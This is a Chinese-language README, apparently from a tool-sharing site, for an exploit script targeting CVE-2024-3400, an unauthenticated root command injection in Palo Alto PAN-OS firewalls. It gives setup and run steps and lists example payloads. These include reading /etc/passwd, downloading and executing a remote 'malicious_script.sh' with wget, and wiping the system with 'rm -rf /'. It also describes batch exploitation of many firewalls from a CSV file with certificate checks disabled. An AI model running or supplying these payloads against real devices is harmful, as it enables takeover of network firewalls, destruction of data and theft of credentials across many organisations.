PAN-OS 防火墙利用脚本

此脚本旨在演示 PAN-OS 防火墙中漏洞的利用方法。它会向防火墙的 API 端点发送特制载荷，以执行任意命令。该漏洞利用特别针对 CVE-2024-3400，这是 Palo Alto Networks PAN-OS 软件 GlobalProtect 功能中存在于特定 PAN-OS 版本上的命令注入漏洞。不同的功能配置可能允许未经身份验证的攻击者在防火墙上以 root 权限执行任意代码。

注意： 请确保仅将本脚本用于合法和道德的目的，并且仅在你拥有测试权限的机器上使用。

使用方法

要使用此项目，请遵循以下步骤：

1. 克隆此仓库：
   root@kitploit:~

   git clone https://github.com/Yuvvi01/CVE-2024-3400
   
   

2. 进入仓库目录：
   root@kitploit:~

   cd CVE-2024-3400
   
   

3. 安装所需的模块：
   root@kitploit:~

   pip install -r requirements.txt
   
   

4. 运行 Python 脚本。
   root@kitploit:~

   python3 exploit.py
   

按照提示输入易受攻击的 PAN-OS 防火墙的 IP 地址以及要执行的载荷。

示例载荷

1. 列出目录内容：
   root@kitploit:~

   ls -la
   
   

2. 打印特定文件的内容：
   root@kitploit:~

   cat /etc/passwd
   
   

3. 打印当前登录系统的用户名：
   root@kitploit:~

   whoami
   
   

4. 从互联网下载文件（需要已安装 wget 或 curl）：
   root@kitploit:~

   wget http://example.com/malicious_script.sh -O /tmp/malicious_script.sh && chmod +x /tmp/malicious_script.sh && /tmp/malicious_script.sh
   
   

5. 请极为谨慎地使用此命令：
   root@kitploit:~

   rm -rf /
   

安全使用说明

SSL 证书验证

脚本会询问 PAN-OS 防火墙服务器 SSL 证书的文件路径。如果未提供路径，脚本会自动将 SSL 验证设置为 false，从而有效禁用 SSL。

CSV 文件说明

该脚本允许你通过 CSV 文件批量利用多个易受攻击的 PAN-OS 防火墙目标。以下是正确格式化 CSV 文件的说明：

CSV 文件格式：

CSV 文件应包含三列：

• ipaddress：易受攻击的 PAN-OS 防火墙的 IP 地址。

• payload：要在防火墙上执行的载荷。

• path/to/root_CA_certificate.pem：根 CA 证书的路径（如果禁用证书验证则留空）。

• 示例 CSV 文件：

  root@kitploit:~

  ipaddress,payload,path/to/root_CA_certificate.pem
  192.168.1.1,exploit_payload1,/path/to/certificate.pem
  192.168.1.2,exploit_payload2,
  

说明：

按照指定格式创建 CSV 文件。 填写 IP 地址、载荷以及根 CA 证书路径（如适用）。 确保提供有效的根 CA 证书路径，如果禁用证书验证则将该字段留空。 运行脚本并在提示时选择使用 CSV 文件的选项。

参考

• https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-pan-os-firewall-zero-day-used-in-attacks/
• https://security.paloaltonetworks.com/CVE-2024-3400